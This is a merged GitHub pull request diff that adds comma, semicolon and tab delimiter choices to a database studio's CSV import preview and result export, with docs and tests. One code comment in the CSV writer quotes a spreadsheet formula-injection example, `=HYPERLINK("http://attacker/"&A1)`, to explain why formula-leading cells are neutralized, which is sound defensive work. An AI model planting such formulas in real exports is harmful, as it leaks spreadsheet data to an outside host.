Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -203,7 +203,7 @@ Standalone application only: the embedded `@libredb/studio` package carries no a
- **Inline Editing**: Double-click to update values directly in the grid, on engines whose SQL has a single-table row update (the control is hidden elsewhere).
- **Column Filtering**: Per-column text filters on query results for instant data exploration.
- **Interactive Pivot Table**: Client-side pivoting with 5 aggregation functions (COUNT, SUM, AVG, MIN, MAX) and SQL generation.
- **Expert Exporter**: Instant CSV and JSON exports for reporting.
- **Expert Exporter**: Instant CSV and JSON exports for reporting. CSV import and result export offer comma (default), semicolon and tab separators.

### Advanced Data Visualization
- **8 Chart Types**: Bar, Line, Pie, Area, Scatter, Histogram, Stacked Bar, and Stacked Area charts powered by Recharts.
Expand Down
1 change: 1 addition & 0 deletions docs/FEATURES.md
Original file line number Diff line number Diff line change
Expand Up @@ -116,6 +116,7 @@

### 15. Professional Data Export
* **Format Versatility:** Instantly export query result sets to CSV, JSON, SQL `INSERT` statements, or a generated `CREATE TABLE` DDL.
* **CSV Delimiters:** Choose comma (default), semicolon or tab in the import preview or result export menu. Changing the import delimiter reparses the preview and retains the header setting and column mappings. Export quoting, formula neutralization and UTF-8 encoding apply to every separator.
* **Developer-Ready:** Clean data output optimized for external analysis, reporting, or database migrations.
* **Formula-Safe CSV:** A cell whose value starts with `=`, `+`, `-`, `@`, a tab or a carriage return is written with a leading apostrophe, so a spreadsheet shows it as text instead of evaluating it when the file is opened; this is unconditional and has no setting, and a plain number such as `-12.5` is left exactly as it is.

Expand Down
70 changes: 47 additions & 23 deletions src/components/DataImportModal.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ import {
} from "lucide-react";
import type { DatabaseType, TableSchema } from "@/lib/types";
import { quoteLiteral } from "@/lib/sql/values";
import type { CsvDelimiter } from "@/lib/export/csv";

interface DataImportModalProps {
isOpen: boolean;
Expand All @@ -37,7 +38,7 @@ export interface ParsedData {

type ImportStep = "upload" | "preview" | "configure" | "ready";

export function parseCSV(text: string, firstRowIsHeader = true): ParsedData {
export function parseCSV(text: string, firstRowIsHeader = true, delimiter: CsvDelimiter = ","): ParsedData {
const lines = text.split(/\r?\n/).filter((line) => line.trim());
if (lines.length === 0) return { headers: [], rows: [], totalRows: 0 };

Expand All @@ -58,7 +59,7 @@ export function parseCSV(text: string, firstRowIsHeader = true): ParsedData {
} else {
inQuotes = false;
}
} else if (ch === "," && !inQuotes) {
} else if (ch === delimiter && !inQuotes) {
result.push(current.trim());
current = "";
} else {
Expand Down Expand Up @@ -211,12 +212,14 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp
const [isImporting, setIsImporting] = useState(false);
const fileInputRef = useRef<HTMLInputElement>(null);
const csvTextRef = useRef("");
const [csvDelimiter, setCsvDelimiter] = useState<CsvDelimiter>(",");

const resetState = useCallback(() => {
setStep("upload");
setParsedData(null);
setFileName("");
setFirstRowIsHeader(true);
setCsvDelimiter(",");
csvTextRef.current = "";
setTargetTable("");
setCreateNewTable(false);
Expand Down Expand Up @@ -279,6 +282,20 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp
e.preventDefault();
}, []);

const updateCsvPreview = (hasHeader: boolean, delimiter: CsvDelimiter) => {
const data = parseCSV(csvTextRef.current, hasHeader, delimiter);
setFirstRowIsHeader(hasHeader);
setCsvDelimiter(delimiter);
setParsedData(data);
if (data.headers.some((header, index) => header !== parsedData?.headers[index])) {
// Retain mappings when switching header or delimiter interpretations and back.
setColumnMapping((mapping) => ({
...Object.fromEntries(data.headers.map((header) => [header, header])),
...mapping,
}));
}
};

const generatedSQL = useMemo(
() =>
generateImportSQL(
Expand Down Expand Up @@ -425,27 +442,34 @@ export function DataImportModal({ isOpen, onClose, onImport, tables, databaseTyp
</div>

{fileType === "csv" && (
<label className="flex items-center gap-2 cursor-pointer">
<input
type="checkbox"
checked={firstRowIsHeader}
onChange={(e) => {
const hasHeader = e.target.checked;
const data = parseCSV(csvTextRef.current, hasHeader);
setFirstRowIsHeader(hasHeader);
setParsedData(data);
if (data.headers.some((header, index) => header !== parsedData.headers[index])) {
// Retain both header interpretations so a round trip preserves the user's edits.
setColumnMapping((mapping) => ({
...Object.fromEntries(data.headers.map((header) => [header, header])),
...mapping,
}));
}
}}
className="rounded border-edge bg-panel"
/>
<span className="text-xs text-fg-secondary">First row is header</span>
</label>
<div className="flex flex-wrap items-center gap-4">
<label className="flex items-center gap-2 cursor-pointer">
<input
type="checkbox"
checked={firstRowIsHeader}
onChange={(e) => updateCsvPreview(e.target.checked, csvDelimiter)}
className="rounded border-edge bg-panel"
/>
<span className="text-xs text-fg-secondary">First row is header</span>
</label>
<label className="flex items-center gap-2 text-xs text-fg-secondary">
CSV delimiter
<select
value={csvDelimiter}
onChange={(e) => {
const delimiter = e.target.value;
if (delimiter === "," || delimiter === ";" || delimiter === "\t") {
updateCsvPreview(firstRowIsHeader, delimiter);
}
}}
className="rounded border border-edge bg-panel px-2 py-1 text-fg"
>
<option value=",">Comma (,)</option>
<option value=";">Semicolon (;)</option>
<option value={"\t"}>Tab</option>
</select>
</label>
</div>
)}

{/* Preview Table */}
Expand Down
9 changes: 8 additions & 1 deletion src/components/Studio.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
"use client";

import type { CsvDelimiter } from "@/lib/export/csv";

import { appFetch } from "@/lib/config/base-path";
import React, { useState, useEffect, useRef } from "react";
import { Sidebar, ConnectionsList } from "@/components/sidebar";
Expand Down Expand Up @@ -367,7 +369,11 @@ export default function Studio() {
* `currentTab.result` wrote rows nobody was looking at. That is why the menu used to
* be hidden over a hydrated view instead of retargeted.
*/
const exportResults = (format: ResultExportFormat, hydrated: AgentArtifactHydration | null = null) => {
const exportResults = (
format: ResultExportFormat,
hydrated: AgentArtifactHydration | null = null,
csvDelimiter?: CsvDelimiter,
) => {
const source = hydrated?.result ?? tabMgr.currentTab.result;
if (!source) return;
// The columns the engine declared for THIS result. The writers read every row by
Expand All @@ -389,6 +395,7 @@ export default function Studio() {
// The types the engine declared for THIS result, which is what the DDL form
// writes when they are there — the only source for a computed column.
columnTypes: source.columnTypes,
csvDelimiter,
});
downloadText(file.content, file.mimeType, resultExportFileName(file.extension, hydrated?.runId));
};
Expand Down
20 changes: 19 additions & 1 deletion src/components/studio/BottomPanel.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
"use client";

import type { CsvDelimiter } from "@/lib/export/csv";

import React, { useMemo } from "react";
import type { DatabaseConnection, QueryTab, TableSchema, QueryResult } from "@/lib/types";
import type { ProviderMetadata } from "@/hooks/use-provider-metadata";
Expand Down Expand Up @@ -166,7 +168,11 @@ interface BottomPanelProps {
// The second argument is the artifact the rows on screen came from, or null when
// they are the tab's own: the export writes what it is GIVEN rather than reading the
// tab back, which is what lets the menu stay open over a hydrated result (B34).
onExportResults: (format: ResultExportFormat, hydrated: AgentArtifactHydration | null) => void;
onExportResults: (
format: ResultExportFormat,
hydrated: AgentArtifactHydration | null,
csvDelimiter?: CsvDelimiter,
) => void;
/**
* A result an agent run stored, shown in the surface that already renders that
* kind of result (#329 T11). Optional so every other caller — the embedded shell
Expand Down Expand Up @@ -390,6 +396,18 @@ export function BottomPanel({
>
Export as CSV
</DropdownMenuItem>
<DropdownMenuItem
onClick={() => onExportResults("csv", exportArtifact, ";")}
className="text-xs cursor-pointer"
>
Export as CSV (semicolon)
</DropdownMenuItem>
<DropdownMenuItem
onClick={() => onExportResults("csv", exportArtifact, "\t")}
className="text-xs cursor-pointer"
>
Export as CSV (tab)
</DropdownMenuItem>
<DropdownMenuItem
onClick={() => onExportResults("json", exportArtifact)}
className="text-xs cursor-pointer"
Expand Down
33 changes: 22 additions & 11 deletions src/lib/export/csv.ts
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
* it is data the database held. The difference is only which grammar has to be
* respected — RFC 4180 here, the engine's literal grammar there.
*
* Fields are separated by `,` and records by a single `\n`. RFC 4180 spells the
* Fields default to `,`, with `;` and tab also available; records use a single `\n`. RFC 4180 spells the
* record separator `CRLF`; every reader that matters accepts a bare LF, and a field
* that CONTAINS either is quoted, which is the part a reader cannot recover from.
*
Expand All @@ -27,10 +27,12 @@ import { asBytes, binaryText } from "./binary";
import { jsonText } from "./json";

/**
* The characters RFC 4180 says force a field to be quoted. A field is left bare
* otherwise, so a numeric column stays numeric to a spreadsheet.
* Quotes and line breaks always require quoting. The delimiter is checked
* separately because it is now a parameter rather than part of this pattern.
*/
const NEEDS_QUOTING = /["\r\n,]/;
const NEEDS_QUOTING = /["\r\n]/;

export type CsvDelimiter = "," | ";" | "\t";

/**
* A value as its CSV text, before quoting.
Expand Down Expand Up @@ -76,7 +78,7 @@ const FORMULA_LEAD = /^[=+\-@\t\r]/;
*/
const PLAIN_NUMBER = /^[+-]?(\d+(\.\d*)?|\.\d+)([eE][+-]?\d+)?$/;

function csvField(value: unknown): string {
function csvField(value: unknown, delimiter: CsvDelimiter): string {
const text = renderValue(value);
// The one mutation in this file. `=HYPERLINK("http://attacker/"&A1)` is data in the
// database and a formula in Excel, LibreOffice and Google Sheets, and it runs when
Expand All @@ -87,12 +89,12 @@ function csvField(value: unknown): string {
if (FORMULA_LEAD.test(text) && !PLAIN_NUMBER.test(text)) {
return `"'${text.replace(/"/g, '""')}"`;
}
return NEEDS_QUOTING.test(text) ? `"${text.replace(/"/g, '""')}"` : text;
return NEEDS_QUOTING.test(text) || text.includes(delimiter) ? `"${text.replace(/"/g, '""')}"` : text;
}

/** One CSV record, escaped field by field. */
export function csvRow(values: readonly unknown[]): string {
return values.map(csvField).join(",");
export function csvRow(values: readonly unknown[], delimiter: CsvDelimiter = ","): string {
return values.map((value) => csvField(value, delimiter)).join(delimiter);
}

/**
Expand Down Expand Up @@ -144,11 +146,20 @@ export function cellOf(row: Record<string, unknown>, column: string): unknown {
* row is then read BY NAME, so a row whose keys arrive in another order, or which is
* missing one, lands in the right columns instead of shifting the rest.
*/
export function toCsv(rows: readonly Record<string, unknown>[], columns?: readonly string[]): string {
export function toCsv(
rows: readonly Record<string, unknown>[],
columns?: readonly string[],
delimiter: CsvDelimiter = ",",
): string {
const header = resolveColumns(rows, columns);
const lines = [csvRow(header)];
const lines = [csvRow(header, delimiter)];
for (const row of rows) {
lines.push(csvRow(header.map((column) => cellOf(row, column))));
lines.push(
csvRow(
header.map((column) => cellOf(row, column)),
delimiter,
),
);
}
return lines.join("\n");
}
6 changes: 4 additions & 2 deletions src/lib/export/result-export.ts
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ import type { DatabaseType } from "@/lib/types";
import { isBareIdentifier, quoteIdentifier } from "@/lib/sql/identifier";
import { quoteLiteral } from "@/lib/sql/values";
import { asBytes, binaryText } from "./binary";
import { cellOf, resolveColumns, toCsv } from "./csv";
import { cellOf, resolveColumns, toCsv, type CsvDelimiter } from "./csv";
import { jsonText } from "./json";

/**
Expand Down Expand Up @@ -32,6 +32,8 @@ export interface ResultExportSource {
* common case — then the DDL form infers a type from a value instead.
*/
columnTypes?: Record<string, string>;
/** CSV separator; omitted for the backward-compatible comma default. */
csvDelimiter?: CsvDelimiter;
}

export interface ResultExportFile {
Expand Down Expand Up @@ -813,7 +815,7 @@ export function buildResultExport(format: ResultExportFormat, source: ResultExpo
if (format === "csv") {
// The charset is stated even though the download layer's byte order mark is what
// Excel actually reads, because every other consumer reads the type.
return { content: toCsv(rows, columns), mimeType: "text/csv;charset=utf-8", extension: "csv" };
return { content: toCsv(rows, columns, source.csvDelimiter), mimeType: "text/csv;charset=utf-8", extension: "csv" };
}

const sql = (content: string): ResultExportFile => ({ content, mimeType: "text/sql", extension: "sql" });
Expand Down
5 changes: 4 additions & 1 deletion src/workspace/StudioWorkspace.tsx
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
"use client";

import type { CsvDelimiter } from "@/lib/export/csv";

import React, { useState, useEffect, useRef, useMemo, useCallback } from "react";
import { Sidebar } from "@/components/sidebar";
// MobileNav and mobile tab panels excluded in embedded mode — platform provides its own navigation
Expand Down Expand Up @@ -254,7 +256,7 @@ export function StudioWorkspace({

// === Export results (shared writers; this shell applies no masking) ===
const exportResults = useCallback(
(format: ResultExportFormat) => {
(format: ResultExportFormat, _hydrated?: unknown, csvDelimiter?: CsvDelimiter) => {
if (!tabMgr.currentTab.result) return;
const file = buildResultExport(format, {
rows: tabMgr.currentTab.result.rows,
Expand All @@ -267,6 +269,7 @@ export function StudioWorkspace({
// The host's own declared column types (`use-query-adapter` carries them),
// which the DDL form prefers over a type guessed from a value.
columnTypes: tabMgr.currentTab.result.columnTypes,
csvDelimiter,
});
downloadText(file.content, file.mimeType, `query_result_export.${file.extension}`);
},
Expand Down
32 changes: 32 additions & 0 deletions tests/components/DataImportModal.test.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -116,6 +116,38 @@ describe("DataImportModal", () => {

// ── CSV file upload → Preview step ─────────────────────────────────────────

test.each([";", "\t"])("delimiter picker reparses preview and keeps headerless import (%s)", (delimiter) => {
const onImport = mock((_sql: string) => {});
const { baseElement } = render(<DataImportModal isOpen onClose={noop} onImport={onImport} tables={[]} />);
act(() => simulateFileUpload(baseElement, `Alice${delimiter}30\nBob${delimiter}25`, "data.csv"));
const body = within(baseElement);
fireEvent.change(body.getByRole("combobox", { name: "CSV delimiter" }), { target: { value: delimiter } });
expect(body.getByText("1 rows, 2 columns").textContent).toBe("1 rows, 2 columns");
fireEvent.click(body.getByRole("checkbox", { name: "First row is header" }));
expect(body.getByText("2 rows, 2 columns").textContent).toBe("2 rows, 2 columns");
expect(body.getByRole("cell", { name: "Alice" }).textContent).toBe("Alice");
fireEvent.click(body.getByText("Configure Import"));
fireEvent.click(body.getByText("New Table"));
fireEvent.click(body.getByText("Review SQL"));
fireEvent.click(body.getByText("Execute Import"));
expect(onImport.mock.calls[0][0]).toContain("('Alice', 30)");
expect(onImport.mock.calls[0][0]).toContain("('Bob', 25)");
});

test("reset restores the comma delimiter and JSON hides the picker", () => {
const { baseElement } = render(<DataImportModal isOpen onClose={noop} onImport={noop} tables={[]} />);
const body = within(baseElement);
act(() => simulateFileUpload(baseElement, "name;age\nAlice;30", "data.csv"));
fireEvent.change(body.getByRole("combobox", { name: "CSV delimiter" }), { target: { value: ";" } });
fireEvent.click(body.getByText("Reset"));
act(() => simulateFileUpload(baseElement, "name,age\nBob,25", "next.csv"));
expect((body.getByRole("combobox", { name: "CSV delimiter" }) as HTMLSelectElement).value).toBe(",");
expect(body.getByRole("cell", { name: "Bob" }).textContent).toBe("Bob");
fireEvent.click(body.getByText("Reset"));
act(() => simulateFileUpload(baseElement, '[{"name":"Alice"}]', "data.json"));
expect(body.queryByRole("combobox", { name: "CSV delimiter" }) === null).toBe(true);
});

test("advances to preview step after CSV file upload", () => {
const { baseElement } = render(<DataImportModal isOpen onClose={noop} onImport={noop} tables={sampleTables} />);

Expand Down
21 changes: 21 additions & 0 deletions tests/components/Studio.test.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -852,6 +852,27 @@ describe("Studio", () => {
});

// --- exportResults ---
test.each([";", "\t"])("CSV export forwards the chosen delimiter (%s)", async (delimiter) => {
tabMgrOverride = {
currentTab: {
id: "tab-1",
name: "Users",
query: "SELECT 1",
result: testResult,
isExecuting: false,
type: "sql",
},
};
render(<Studio />);
const exportFn = capturedBottomPanelProps.onExportResults as (
format: string,
artifact: null,
delimiter: string,
) => void;
act(() => exportFn("csv", null, delimiter));
const blob = (mockCreateObjectURL.mock.calls[0] as unknown[])[0] as Blob;
expect((await blob.text()).split("\n")[0].replace(/^\uFEFF/, "")).toBe(testResult.fields.join(delimiter));
});
test("exportResults CSV creates text/csv blob", () => {
tabMgrOverride = {
currentTab: {
Expand Down
Loading
Loading